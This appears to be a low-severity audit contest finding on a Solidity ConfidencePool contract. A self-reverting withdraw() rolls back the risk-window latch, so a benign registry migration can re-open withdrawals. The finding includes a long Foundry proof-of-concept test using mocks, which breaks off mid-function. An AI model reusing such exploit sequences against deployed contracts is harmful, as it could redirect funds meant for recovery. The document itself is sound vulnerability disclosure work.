FoundrySolidityLayer 2
7.25 ETH
Submission Details
Severity: low
Valid

Self-reverting active-risk `withdraw()` rolls back the `riskWindowStart` latch, letting a benign history-less registry migration re-open `withdraw()` contrary to DESIGN §11

Author Revealed upon completion

Description

  • withdraw() is meant to be gated by a one-way latch: DESIGN §11 asserts that "a benign upstream state rewind cannot re-open withdraw" because the exit is gated on riskWindowStart != 0 (§9), not solely on live registry state. The latch is intended to be sealed the moment the pool ever observes an active-risk registry state, permanently locking principal until resolution.

  • The seal is only durable when a committing transaction observes the active-risk state. A withdraw() attempt during an active-risk window calls _observePoolState() (which sets riskWindowStart), but the very next gate then reverts the whole transaction, unwinding that write. When the only pool activity during the active-risk interval is such a self-reverting withdraw() (or genuine inactivity), riskWindowStart stays 0. A subsequent benign DAO migration of the registry pointer to a fresh, history-less registry that truthfully reports NOT_DEPLOYED then re-opens withdraw(), so DESIGN §11's flat affirmative claim does not hold.

// src/ConfidencePool.sol:288-300
function withdraw() external nonReentrant {
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
@> IAttackRegistry.ContractState state = _observePoolState(); // seals riskWindowStart under active risk...
// `riskWindowStart` is the pool's one-way record that risk has materialised;
// gate on it so an upstream registry rewind cannot re-open withdrawals.
if (
@> riskWindowStart != 0
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) {
@> revert WithdrawsDisabled(); // ...but this revert unwinds the seal it just wrote
}
// src/ConfidencePool.sol:793-795 (inside _observePoolState)
@> if (riskWindowStart == 0 && _isActiveRiskState(state)) {
@> _markRiskWindowStart(); // rolled back when the caller reverts
}

Risk

Likelihood:

  • When an active-risk interval (e.g. UNDER_ATTACK) passes with no committing pool interaction — the natural interaction, a staker's withdraw(), self-reverts and rolls back its own _markRiskWindowStart() observation, leaving riskWindowStart == 0.

  • When the DAO subsequently performs a setAttackRegistry pointer migration (onlyOwner) to a fresh, history-less registry that accurately reports NOT_DEPLOYED for the agreement — a "legitimate DAO registry migration" that DESIGN §11 itself contemplates as a real, benign event.

  • When the agreement later resolves CORRUPTED, so the principal that escaped would otherwise have been swept to the recovery/whitehat path.

  • Trust-model note (honest): this is a documentation-vs-behavior precision gap, not a theft primitive — it borders on Informational. The migration precondition is a trusted-DAO action and no untrusted actor can trigger it; the only beneficiary is the staker recovering their own principal. It is reportable because the trigger is explicitly in-model and benign, so §11's unconditional claim is genuinely imprecise rather than a false positive.

Impact:

  • The withdraw() permanent-lock guarantee DESIGN §11 documents does not hold across a benign history-less registry migration; the staker's principal exits after the risk window instead of remaining locked.

  • From the PoC: Alice's 100e18 principal escapes; on the later CORRUPTED resolution snapshotTotalStaked == 0, so the named whitehat's bounty entitlement is only 20e18 (bonus) instead of the full 120e18 — the intended CORRUPTED recipient is short exactly 100e18 (RECIPIENT_SHORTFALL).

  • The 100e18 is Alice's own principal returning to Alice, never a third party's funds — the exact worst case DESIGN §11 pre-accepts ("principal returned to stakers rather than swept").

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
/// @notice F-04 migration-control proof for a rolled-back risk latch followed by registry replacement.
/// @dev Both branches use the real vulnerable pool; the control hydrates B before atomic pointer exposure.
contract F04RiskWindowRollbackMigrationTest is Test {
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
uint256 internal constant ONE = 1e18;
uint256 internal constant ALICE_STAKE = 100e18;
uint256 internal constant BONUS = 20e18;
uint256 internal constant ACTIVE_AT = BASE_TIMESTAMP + 100;
uint256 internal constant MIGRATION_AT = BASE_TIMESTAMP + 110;
uint256 internal constant CORRUPTED_AT = BASE_TIMESTAMP + 120;
uint256 internal constant LOCKED_GROSS = 120e18;
uint256 internal constant ESCAPED_PRINCIPAL = 100e18;
uint256 internal constant ESCAPED_WHITEHAT_PAYOUT = 20e18;
uint256 internal constant RECIPIENT_SHORTFALL = 100e18;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
address internal trustedSetup = makeAddr("trusted setup");
address internal trustedRegistryOperator = makeAddr("trusted registry operator");
address internal trustedMigrationAdmin = makeAddr("trusted migration admin");
address internal moderator = makeAddr("trusted outcome moderator");
address internal recovery = makeAddr("recovery address");
address internal permissionlessObserver = makeAddr("permissionless observer");
address internal alice = makeAddr("alice ordinary staker");
address internal contributor = makeAddr("bonus contributor");
address internal whitehat = makeAddr("whitehat");
struct World {
MockERC20 token;
MockAttackRegistry registryA;
MockAttackRegistry registryB;
MockSafeHarborRegistry safeHarborRegistry;
MockAgreement agreement;
ConfidencePool target;
}
struct PoolSnapshot {
uint256 riskWindowStart;
bool scopeLocked;
uint256 eligibleStake;
uint256 userSumStakeTime;
uint256 userSumStakeTimeSq;
uint256 totalEligibleStake;
uint256 totalBonus;
uint256 sumStakeTime;
uint256 sumStakeTimeSq;
uint256 poolBalance;
uint256 aliceBalance;
uint256 outcome;
}
struct RunResult {
bool activeWithdrawSuccess;
bytes4 activeWithdrawSelector;
uint256 activeAliceDelta;
bool diagnosticWithdrawSuccess;
bytes4 diagnosticWithdrawSelector;
uint256 diagnosticAliceDelta;
bool omittedWithdrawSuccess;
bytes4 omittedWithdrawSelector;
uint256 omittedAliceDelta;
bool lockedWithdrawSuccess;
bytes4 lockedWithdrawSelector;
uint256 lockedAliceDelta;
uint256 diagnosticWhitehatPayout;
uint256 omittedWhitehatPayout;
uint256 lockedWhitehatPayout;
uint256 diagnosticFinalAliceBalance;
uint256 omittedFinalAliceBalance;
uint256 lockedFinalAliceBalance;
uint256 lockedPayoutDifferential;
}
function test_Exploit_Vulnerable() external {
RunResult memory result = _runSequence(false);
assertFalse(result.activeWithdrawSuccess, "active-risk diagnostic call must fail");
assertEq(
result.activeWithdrawSelector,
IConfidencePool.WithdrawsDisabled.selector,
"active-risk denial selector must be exact"
);
assertEq(result.activeAliceDelta, 0, "reverted active-risk call transfers nothing");
assertTrue(result.diagnosticWithdrawSuccess, "diagnostic world must escape after migration");
assertTrue(result.omittedWithdrawSuccess, "omitted-call control must escape after migration");
assertFalse(result.lockedWithdrawSuccess, "pre-sealed comparison must remain locked");
assertEq(result.diagnosticAliceDelta, ESCAPED_PRINCIPAL, "diagnostic Alice returns her principal");
assertEq(result.omittedAliceDelta, ESCAPED_PRINCIPAL, "control Alice returns her principal");
assertEq(
result.diagnosticWhitehatPayout,
ESCAPED_WHITEHAT_PAYOUT,
"diagnostic whitehat receives remaining bonus only"
);
assertEq(
result.omittedWhitehatPayout, ESCAPED_WHITEHAT_PAYOUT, "control whitehat receives remaining bonus only"
);
assertEq(result.lockedWhitehatPayout, LOCKED_GROSS, "locked whitehat receives principal plus bonus");
assertEq(result.lockedPayoutDifferential, RECIPIENT_SHORTFALL, "recipient shortfall is exact");
assertEq(result.diagnosticFinalAliceBalance, ALICE_STAKE, "Alice has only her original principal");
assertEq(result.omittedFinalAliceBalance, ALICE_STAKE, "control Alice has only her original principal");
assertEq(result.lockedFinalAliceBalance, 0, "locked Alice receives no tokens");
}
function test_Exploit_AfterFix() external {
RunResult memory result = _runSequence(true);
assertFalse(result.activeWithdrawSuccess, "active-risk diagnostic call must fail");
assertEq(
result.activeWithdrawSelector,
IConfidencePool.WithdrawsDisabled.selector,
"active-risk denial selector must be exact"
);
assertEq(result.activeAliceDelta, 0, "reverted active-risk call transfers nothing");
assertFalse(result.diagnosticWithdrawSuccess, "hydrated B must deny diagnostic withdrawal");
assertFalse(result.omittedWithdrawSuccess, "hydrated B must deny omitted-control withdrawal");
assertFalse(result.lockedWithdrawSuccess, "pre-sealed comparison must remain locked");
assertEq(result.diagnosticWithdrawSelector, IConfidencePool.WithdrawsDisabled.selector);
assertEq(result.omittedWithdrawSelector, IConfidencePool.WithdrawsDisabled.selector);
assertEq(result.lockedWithdrawSelector, IConfidencePool.WithdrawsDisabled.selector);
assertEq(result.diagnosticAliceDelta, 0, "migration-control Alice receives nothing");
assertEq(result.omittedAliceDelta, 0, "migration-control Alice receives nothing");
assertEq(result.lockedAliceDelta, 0, "locked Alice receives nothing");
assertEq(result.diagnosticWhitehatPayout, LOCKED_GROSS, "hydrated diagnostic payout is locked gross");
assertEq(result.omittedWhitehatPayout, LOCKED_GROSS, "hydrated control payout is locked gross");
assertEq(result.lockedWhitehatPayout, LOCKED_GROSS, "comparison payout is locked gross");
assertEq(result.lockedPayoutDifferential, 0, "atomic hydration prevents recipient shortfall");
assertEq(result.diagnosticFinalAliceBalance, 0, "hydrated B leaves Alice's principal committed");
assertEq(result.omittedFinalAliceBalance, 0, "hydrated B leaves control principal committed");
assertEq(result.lockedFinalAliceBalance, 0, "locked Alice receives no principal or bonus");
}
function _runSequence(bool migrationControl) internal returns (RunResult memory result) {
vm.warp(BASE_TIMESTAMP);
console2.log(
"Migration policy branch", migrationControl ? "ATOMIC HYDRATION CONTROL" : "VULNERABLE POINTER EXPOSURE"
);
address implementation = address(new ConfidencePool());
vm.label(implementation, "Real Vulnerable ConfidencePool");
World[3] memory worlds;
worlds[0] = _deployWorld(implementation, "Diagnostic World");
worlds[1] = _deployWorld(implementation, "Omitted-Call Control World");
worlds[2] = _deployWorld(implementation, "Durable-Lock Comparison World");
_fundWorld(worlds[0], "Diagnostic World");
_fundWorld(worlds[1], "Omitted-Call Control World");
_fundWorld(worlds[2], "Durable-Lock Comparison World");
_assertInitial(worlds[0], "Diagnostic World");
_assertInitial(worlds[1], "Omitted-Call Control World");
_assertInitial(worlds[2], "Durable-Lock Comparison World");
vm.warp(ACTIVE_AT);
console2.log("TRUSTED REGISTRY ACTION: registry A reports UNDER_ATTACK at", block.timestamp);
_setRegistryState(worlds[0].registryA, IAttackRegistry.ContractState.UNDER_ATTACK);
_setRegistryState(worlds[1].registryA, IAttackRegistry.ContractState.UNDER_ATTACK);
_setRegistryState(worlds[2].registryA, IAttackRegistry.ContractState.UNDER_ATTACK);
console2.log(
"Diagnostic registry A active state",
uint256(worlds[0].registryA.getAgreementState(address(worlds[0].agreement)))
);
PoolSnapshot memory diagnosticBefore = _snapshot(worlds[0]);
_assertPreRiskSnapshot(diagnosticBefore, "diagnostic before active-risk call");
_logDiagnosticSnapshot("BEFORE active-risk withdrawal", diagnosticBefore);
vm.expectCall(
address(worlds[0].registryA),
abi.encodeCall(MockAttackRegistry.getAgreementState, (address(worlds[0].agreement)))
);
(result.activeWithdrawSuccess, result.activeWithdrawSelector, result.activeAliceDelta) = _withdraw(worlds[0]);
_logWithdrawal(
"Diagnostic World Active-Risk Attempt",
result.activeWithdrawSuccess,
result.activeWithdrawSelector,
result.activeAliceDelta
);
PoolSnapshot memory diagnosticAfter = _snapshot(worlds[0]);
_assertPreRiskSnapshot(diagnosticAfter, "diagnostic after reverted active-risk call");
_assertPreRiskSnapshot(_snapshot(worlds[1]), "omitted-call control at active-risk checkpoint");
_logDiagnosticSnapshot("AFTER reverted active-risk withdrawal", diagnosticAfter);
assertFalse(result.activeWithdrawSuccess, "active-risk diagnostic withdrawal must revert");
assertEq(
result.activeWithdrawSelector, IConfidencePool.WithdrawsDisabled.selector, "active-risk diagnostic selector"
);
assertEq(result.activeAliceDelta, 0, "active-risk diagnostic transfers no principal");
_assertSnapshotsEqual(diagnosticBefore, diagnosticAfter, "diagnostic active revert rolls back every field");
_assertSnapshotsEqual(
diagnosticAfter, _snapshot(worlds[1]), "failed-call diagnostic equals omitted-call control"
);
console2.log("Diagnostic/omitted checkpoint equality", true);
console2.log("PERMISSIONLESS OBSERVER ACTION: seal comparison risk window");
vm.prank(permissionlessObserver);
worlds[2].target.pokeRiskWindow();
assertEq(worlds[2].target.riskWindowStart(), ACTIVE_AT, "comparison persists active-risk start");
assertEq(worlds[2].token.balanceOf(address(worlds[2].target)), LOCKED_GROSS, "comparison retains 120");
vm.warp(MIGRATION_AT);
IAttackRegistry.ContractState migrationState =
migrationControl ? IAttackRegistry.ContractState.UNDER_ATTACK : IAttackRegistry.ContractState.NOT_DEPLOYED;
console2.log(
migrationControl
? "TRUSTED MIGRATION ACTION: atomically hydrate B to UNDER_ATTACK before pointer exposure"
: "TRUSTED MIGRATION ACTION: expose fresh B accurately reporting NOT_DEPLOYED"
);
_hydrateAndSwitchRegistry(worlds[0], migrationState);
_hydrateAndSwitchRegistry(worlds[1], migrationState);
_hydrateAndSwitchRegistry(worlds[2], migrationState);
_assertMigratedRegistry(worlds[0], migrationState, "Diagnostic World");
_assertMigratedRegistry(worlds[1], migrationState, "Omitted-Call Control World");
_assertMigratedRegistry(worlds[2], migrationState, "Durable-Lock Comparison World");
_assertSnapshotsEqual(
_snapshot(worlds[0]),
_snapshot(worlds[1]),
"diagnostic and omitted control match before migrated withdrawal"
);
vm.expectCall(
address(worlds[0].registryB),
abi.encodeCall(MockAttackRegistry.getAgreementState, (address(worlds[0].agreement)))
);
vm.expectCall(
address(worlds[1].registryB),
abi.encodeCall(MockAttackRegistry.getAgreementState, (address(worlds[1].agreement)))
);
vm.expectCall(
address(worlds[2].registryB),
abi.encodeCall(MockAttackRegistry.getAgreementState, (address(worlds[2].agreement)))
);
(result.diagnosticWithdrawSuccess, result.diagnosticWithdrawSelector, result.diagnosticAliceDelta) =
_withdraw(worlds[0]);
(result.omittedWithdrawSuccess, result.omittedWithdrawSelector, result.omittedAliceDelta) = _withdraw(worlds[1]);
(result.lockedWithdrawSuccess, result.lockedWithdrawSelector, result.lockedAliceDelta) = _withdraw(worlds[2]);
_logWithdrawal(
"Diagnostic World",
result.diagnosticWithdrawSuccess,
result.diagnosticWithdrawSelector,
result.diagnosticAliceDelta
);
_logWithdrawal(
"Omitted-Call Control World",
result.omittedWithdrawSuccess,
result.omittedWithdrawSelector,
result.omittedAliceDelta
);
_logWithdrawal(
"Durable-Lock Comparison World",
result.lockedWithdrawSuccess,
result.lockedWithdrawSelector,
result.lockedAliceDelta
);
if (migrationControl) {
_assertDenied(
result.diagnosticWithdrawSuccess,
result.diagnosticWithdrawSelector,
result.diagnosticAliceDelta,
"migration-control diagnostic withdrawal"
);
_assertDenied(
result.omittedWithdrawSuccess,
result.omittedWithdrawSelector,
result.omittedAliceDelta,
"migration-control omitted withdrawal"
);
_assertDenied(
result.lockedWithdrawSuccess,
result.lockedWithdrawSelector,
result.lockedAliceDelta,
"migration-control comparison withdrawal"
);
_assertLockedState(worlds[0], "hydrated diagnostic");
_assertLockedState(worlds[1], "hydrated omitted control");
_assertLockedState(worlds[2], "hydrated comparison");
_assertPreRiskSnapshot(
_snapshot(worlds[0]), "migration-control diagnostic denial also rolls back observation"
);
_assertPreRiskSnapshot(_snapshot(worlds[1]), "migration-control omitted denial also rolls back observation");
} else {
assertTrue(result.diagnosticWithdrawSuccess, "diagnostic withdrawal succeeds on fresh B");
assertTrue(result.omittedWithdrawSuccess, "omitted-control withdrawal succeeds on fresh B");
assertEq(result.diagnosticWithdrawSelector, bytes4(0), "successful diagnostic has no revert selector");
assertEq(result.omittedWithdrawSelector, bytes4(0), "successful control has no revert selector");
assertEq(result.diagnosticAliceDelta, ESCAPED_PRINCIPAL, "diagnostic principal delta is 100");
assertEq(result.omittedAliceDelta, ESCAPED_PRINCIPAL, "control principal delta is 100");
_assertEscapedState(worlds[0], "vulnerable diagnostic");
_assertEscapedState(worlds[1], "vulnerable omitted control");
_assertDenied(
result.lockedWithdrawSuccess,
result.lockedWithdrawSelector,
result.lockedAliceDelta,
"vulnerable comparison withdrawal"
);
_assertLockedState(worlds[2], "vulnerable comparison");
}
_assertSnapshotsEqual(
_snapshot(worlds[0]), _snapshot(worlds[1]), "diagnostic and omitted control match after migrated withdrawal"
);
vm.warp(CORRUPTED_AT);
console2.log("TRUSTED REGISTRY ACTION: registry B reports CORRUPTED at", block.timestamp);
_setRegistryState(worlds[0].registryB, IAttackRegistry.ContractState.CORRUPTED);
_setRegistryState(worlds[1].registryB, IAttackRegistry.ContractState.CORRUPTED);
_setRegistryState(worlds[2].registryB, IAttackRegistry.ContractState.CORRUPTED);
uint256 escapedOrLockedPrincipal = migrationControl ? ALICE_STAKE : 0;
result.diagnosticWhitehatPayout =
_flagCorruptedAndClaim(worlds[0], "Diagnostic World", escapedOrLockedPrincipal);
result.omittedWhitehatPayout =
_flagCorruptedAndClaim(worlds[1], "Omitted-Call Control World", escapedOrLockedPrincipal);
result.lockedWhitehatPayout = _flagCorruptedAndClaim(worlds[2], "Durable-Lock Comparison World", ALICE_STAKE);
result.diagnosticFinalAliceBalance = worlds[0].token.balanceOf(alice);
result.omittedFinalAliceBalance = worlds[1].token.balanceOf(alice);
result.lockedFinalAliceBalance = worlds[2].token.balanceOf(alice);
result.lockedPayoutDifferential = result.lockedWhitehatPayout - result.diagnosticWhitehatPayout;
console2.log("Diagnostic whitehat payout", result.diagnosticWhitehatPayout);
console2.log("Locked comparison whitehat payout", result.lockedWhitehatPayout);
console2.log("Locked payout differential", result.lockedPayoutDifferential);
console2.log("Diagnostic final Alice balance", result.diagnosticFinalAliceBalance);
console2.log("Omitted-control final Alice balance", result.omittedFinalAliceBalance);
console2.log("Locked-comparison final Alice balance", result.lockedFinalAliceBalance);
console2.log(
"Diagnostic Alice bonus received",
result.diagnosticFinalAliceBalance > ALICE_STAKE ? result.diagnosticFinalAliceBalance - ALICE_STAKE : 0
);
console2.log(
"Omitted-control Alice bonus received",
result.omittedFinalAliceBalance > ALICE_STAKE ? result.omittedFinalAliceBalance - ALICE_STAKE : 0
);
uint256 expectedAliceBalance = migrationControl ? 0 : ALICE_STAKE;
uint256 expectedEscapedPayout = migrationControl ? LOCKED_GROSS : ESCAPED_WHITEHAT_PAYOUT;
assertEq(result.diagnosticFinalAliceBalance, expectedAliceBalance, "diagnostic Alice terminal balance");
assertEq(result.omittedFinalAliceBalance, expectedAliceBalance, "control Alice terminal balance");
assertEq(result.lockedFinalAliceBalance, 0, "comparison Alice terminal balance");
assertLe(result.diagnosticFinalAliceBalance, ALICE_STAKE, "Alice cannot profit beyond her principal");
assertLe(result.omittedFinalAliceBalance, ALICE_STAKE, "control Alice cannot profit beyond principal");
assertEq(result.diagnosticWhitehatPayout, expectedEscapedPayout, "diagnostic whitehat payout is exact");
assertEq(result.omittedWhitehatPayout, expectedEscapedPayout, "control whitehat payout is exact");
assertEq(result.lockedWhitehatPayout, LOCKED_GROSS, "comparison whitehat payout is exact");
assertEq(
result.lockedPayoutDifferential,
migrationControl ? 0 : RECIPIENT_SHORTFALL,
"recipient shortfall matches migration policy"
);
_assertConservation(worlds[0], expectedAliceBalance, expectedEscapedPayout, "Diagnostic World");
_assertConservation(worlds[1], expectedAliceBalance, expectedEscapedPayout, "Omitted-Call Control World");
_assertConservation(worlds[2], 0, LOCKED_GROSS, "Durable-Lock Comparison World");
}
function _deployWorld(address implementation, string memory worldName) internal returns (World memory world) {
console2.log("World", worldName);
world.token = new MockERC20();
world.registryA = new MockAttackRegistry();
world.registryB = new MockAttackRegistry();
world.safeHarborRegistry = new MockSafeHarborRegistry();
world.agreement = new MockAgreement(trustedSetup);
console2.log("TRUSTED SETUP ACTION: scope, registry A pointer, validity, NEW_DEPLOYMENT");
vm.startPrank(trustedSetup);
world.agreement.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
world.safeHarborRegistry.setAttackRegistry(address(world.registryA));
world.safeHarborRegistry.setAgreementValid(address(world.agreement), true);
world.registryA.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
vm.stopPrank();
world.target = ConfidencePool(Clones.clone(implementation));
world.target
.initialize(
address(world.agreement),
address(world.token),
address(world.safeHarborRegistry),
moderator,
BASE_TIMESTAMP + 31 days,
ONE,
recovery,
address(this),
_defaultScope()
);
_labelWorld(world, worldName);
}
function _fundWorld(World memory world, string memory worldName) internal {
console2.log("TRUSTED SETUP FUNDING:", worldName);
vm.prank(trustedSetup);
world.token.mint(alice, ALICE_STAKE);
vm.startPrank(alice);
world.token.approve(address(world.target), ALICE_STAKE);
console2.log("ALICE PARTICIPANT ACTION: stake", ALICE_STAKE);
world.target.stake(ALICE_STAKE);
vm.stopPrank();
vm.prank(trustedSetup);
world.token.mint(contributor, BONUS);
vm.startPrank(contributor);
world.token.approve(address(world.target), BONUS);
console2.log("BONUS CONTRIBUTOR ACTION: contribute", BONUS);
world.target.contributeBonus(BONUS);
vm.stopPrank();
}
function _assertInitial(World memory world, string memory worldName) internal view {
assertEq(world.target.eligibleStake(alice), ALICE_STAKE, string.concat(worldName, ": Alice stake"));
assertEq(world.target.totalEligibleStake(), ALICE_STAKE, string.concat(worldName, ": total stake"));
assertEq(world.target.totalBonus(), BONUS, string.concat(worldName, ": bonus"));
assertEq(world.token.balanceOf(address(world.target)), LOCKED_GROSS, string.concat(worldName, ": pool 120"));
assertEq(world.token.balanceOf(alice), 0, string.concat(worldName, ": Alice post-stake zero"));
assertEq(world.target.riskWindowStart(), 0, string.concat(worldName, ": no risk start"));
assertEq(
uint256(world.target.outcome()),
uint256(PoolStates.Outcome.UNRESOLVED),
string.concat(worldName, ": unresolved")
);
}
function _snapshot(World memory world) internal view returns (PoolSnapshot memory snapshot) {
snapshot.riskWindowStart = world.target.riskWindowStart();
snapshot.scopeLocked = world.target.scopeLocked();
snapshot.eligibleStake = world.target.eligibleStake(alice);
snapshot.userSumStakeTime = world.target.userSumStakeTime(alice);
snapshot.userSumStakeTimeSq = world.target.userSumStakeTimeSq(alice);
snapshot.totalEligibleStake = world.target.totalEligibleStake();
snapshot.totalBonus = world.target.totalBonus();
snapshot.sumStakeTime = world.target.sumStakeTime();
snapshot.sumStakeTimeSq = world.target.sumStakeTimeSq();
snapshot.poolBalance = world.token.balanceOf(address(world.target));
snapshot.aliceBalance = world.token.balanceOf(alice);
snapshot.outcome = uint256(world.target.outcome());
}
function _assertPreRiskSnapshot(PoolSnapshot memory snapshot, string memory message) internal pure {
uint256 firstMoment = ALICE_STAKE * BASE_TIMESTAMP;
uint256 secondMoment = ALICE_STAKE * BASE_TIMESTAMP * BASE_TIMESTAMP;
assertEq(snapshot.riskWindowStart, 0, string.concat(message, ": risk start"));
assertFalse(snapshot.scopeLocked, string.concat(message, ": scope remains unlocked"));
assertEq(snapshot.eligibleStake, ALICE_STAKE, string.concat(message, ": eligible stake"));
assertEq(snapshot.userSumStakeTime, firstMoment, string.concat(message, ": user first moment"));
assertEq(snapshot.userSumStakeTimeSq, secondMoment, string.concat(message, ": user second moment"));
assertEq(snapshot.totalEligibleStake, ALICE_STAKE, string.concat(message, ": total stake"));
assertEq(snapshot.totalBonus, BONUS, string.concat(message, ": total bonus"));
assertEq(snapshot.sumStakeTime, firstMoment, string.concat(message, ": global first moment"));
assertEq(snapshot.sumStakeTimeSq, secondMoment, string.concat(message, ": global second moment"));
assertEq(snapshot.poolBalance, LOCKED_GROSS, string.concat(message, ": pool balance"));
assertEq(snapshot.aliceBalance, 0, string.concat(message, ": Alice balance"));
assertEq(
snapshot.outcome, uint256(PoolStates.Outcome.UNRESOLVED), string.concat(message, ": unresolved outcome")
);
}
function _assertSnapshotsEqual(PoolSnapshot memory lhs, PoolSnapshot memory rhs, string memory message)
internal
pure
{
assertEq(keccak256(abi.encode(lhs)), keccak256(abi.encode(rhs)), message);
}
function _withdraw(World memory world) internal returns (bool success, bytes4 selector, uint256 aliceDelta) {
uint256 balanceBefore = world.token.balanceOf(alice);
vm.prank(alice);
bytes memory data;
(success, data) = address(world.target).call(abi.encodeCall(ConfidencePool.withdraw, ()));
aliceDelta = world.token.balanceOf(alice) - balanceBefore;
if (!success && data.length >= 4) {
assembly ("memory-safe") {
selector := mload(add(data, 0x20))
}
}
}
function _assertDenied(bool success, bytes4 selector, uint256 aliceDelta, string memory message) internal pure {
assertFalse(success, message);
assertEq(selector, IConfidencePool.WithdrawsDisabled.selector, string.concat(message, ": selector"));
assertEq(aliceDelta, 0, string.concat(message, ": no transfer"));
}
function _assertEscapedState(World memory world, string memory message) internal view {
assertEq(world.target.eligibleStake(alice), 0, string.concat(message, ": Alice stake cleared"));
assertEq(world.target.totalEligibleStake(), 0, string.concat(message, ": total stake cleared"));
assertEq(world.token.balanceOf(address(world.target)), BONUS, string.concat(message, ": only bonus remains"));
assertEq(world.target.totalBonus(), BONUS, string.concat(message, ": bonus accounting remains"));
assertEq(world.token.balanceOf(alice), ALICE_STAKE, string.concat(message, ": Alice gets exactly 100"));
}
function _assertLockedState(World memory world, string memory message) internal view {
assertEq(world.target.eligibleStake(alice), ALICE_STAKE, string.concat(message, ": Alice stake retained"));
assertEq(world.target.totalEligibleStake(), ALICE_STAKE, string.concat(message, ": total stake retained"));
assertEq(world.target.totalBonus(), BONUS, string.concat(message, ": bonus retained"));
assertEq(
world.token.balanceOf(address(world.target)), LOCKED_GROSS, string.concat(message, ": pool retains 120")
);
assertEq(world.token.balanceOf(alice), 0, string.concat(message, ": Alice remains at zero"));
}
function _flagCorruptedAndClaim(World memory world, string memory worldName, uint256 expectedPrincipal)
internal
returns (uint256 payout)
{
console2.log("TRUSTED MODERATOR ACTION: flag good-faith CORRUPTED", worldName);
vm.prank(moderator);
world.target.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
uint256 expectedEntitlement = expectedPrincipal + BONUS;
assertEq(
world.target.snapshotTotalStaked(), expectedPrincipal, string.concat(worldName, ": snapshot principal")
);
assertEq(world.target.snapshotTotalBonus(), BONUS, string.concat(worldName, ": snapshot bonus"));
assertEq(world.target.bountyEntitlement(), expectedEntitlement, string.concat(worldName, ": entitlement"));
uint256 balanceBefore = world.token.balanceOf(whitehat);
console2.log("WHITEHAT ACTION: claimAttackerBounty", worldName);
vm.prank(whitehat);
world.target.claimAttackerBounty();
payout = world.token.balanceOf(whitehat) - balanceBefore;
assertEq(payout, expectedEntitlement, string.concat(worldName, ": exact whitehat payout"));
console2.log("CORRUPTED snapshot principal", world.target.snapshotTotalStaked());
console2.log("CORRUPTED snapshot bonus", world.target.snapshotTotalBonus());
console2.log("CORRUPTED bounty entitlement", world.target.bountyEntitlement());
console2.log("CORRUPTED whitehat payout", payout);
}
function _assertMigratedRegistry(
World memory world,
IAttackRegistry.ContractState expectedState,
string memory worldName
) internal view {
address liveRegistry = world.safeHarborRegistry.getAttackRegistry();
IAttackRegistry.ContractState state = world.registryB.getAgreementState(address(world.agreement));
assertEq(liveRegistry, address(world.registryB), string.concat(worldName, ": pointer is registry B"));
assertEq(uint256(state), uint256(expectedState), string.concat(worldName, ": B reports migration state"));
console2.log(string.concat(worldName, " registry B pointer"), liveRegistry);
console2.log(string.concat(worldName, " registry B state"), uint256(state));
}
function _setRegistryState(MockAttackRegistry registry, IAttackRegistry.ContractState state) internal {
vm.prank(trustedRegistryOperator);
registry.setAgreementState(state);
}
function _switchRegistry(World memory world) internal {
vm.prank(trustedMigrationAdmin);
world.safeHarborRegistry.setAttackRegistry(address(world.registryB));
}
function _hydrateAndSwitchRegistry(World memory world, IAttackRegistry.ContractState state) internal {
// Both trusted calls execute within this test transaction, before any participant can act.
_setRegistryState(world.registryB, state);
_switchRegistry(world);
}
function _assertConservation(
World memory world,
uint256 expectedAliceBalance,
uint256 expectedWhitehatBalance,
string memory worldName
) internal view {
uint256 accounted = world.token.balanceOf(alice) + world.token.balanceOf(contributor)
+ world.token.balanceOf(whitehat) + world.token.balanceOf(recovery)
+ world.token.balanceOf(address(world.target));
assertEq(world.token.totalSupply(), LOCKED_GROSS, string.concat(worldName, ": exactly 120 minted"));
assertEq(accounted, LOCKED_GROSS, string.concat(worldName, ": terminal balances conserve 120"));
assertEq(world.token.balanceOf(alice), expectedAliceBalance, string.concat(worldName, ": Alice balance"));
assertEq(
world.token.balanceOf(whitehat), expectedWhitehatBalance, string.concat(worldName, ": whitehat balance")
);
assertEq(world.token.balanceOf(contributor), 0, string.concat(worldName, ": contributor balance"));
assertEq(world.token.balanceOf(recovery), 0, string.concat(worldName, ": recovery balance"));
assertEq(world.token.balanceOf(address(world.target)), 0, string.concat(worldName, ": pool terminal balance"));
}
function _logDiagnosticSnapshot(string memory phase, PoolSnapshot memory snapshot) internal pure {
console2.log(phase);
console2.log("Diagnostic riskWindowStart", snapshot.riskWindowStart);
console2.log("Diagnostic eligible stake", snapshot.eligibleStake);
console2.log("Diagnostic total eligible stake", snapshot.totalEligibleStake);
console2.log("Diagnostic pool balance", snapshot.poolBalance);
console2.log("Diagnostic Alice balance", snapshot.aliceBalance);
}
function _logWithdrawal(string memory worldName, bool success, bytes4 selector, uint256 aliceDelta) internal pure {
console2.log(string.concat(worldName, " withdrawal success"), success);
console2.log(string.concat(worldName, " withdrawal revert selector"));
console2.logBytes4(selector);
console2.log(string.concat(worldName, " withdrawal Alice delta"), aliceDelta);
}
function _labelWorld(World memory world, string memory worldName) internal {
vm.label(address(this), "PoC Test Harness and Pool Owner");
vm.label(trustedSetup, "Trusted Setup");
vm.label(trustedRegistryOperator, "Trusted Registry Operator");
vm.label(trustedMigrationAdmin, "Trusted Migration Admin");
vm.label(moderator, "Trusted Outcome Moderator");
vm.label(recovery, "Recovery Address");
vm.label(permissionlessObserver, "Permissionless Observer");
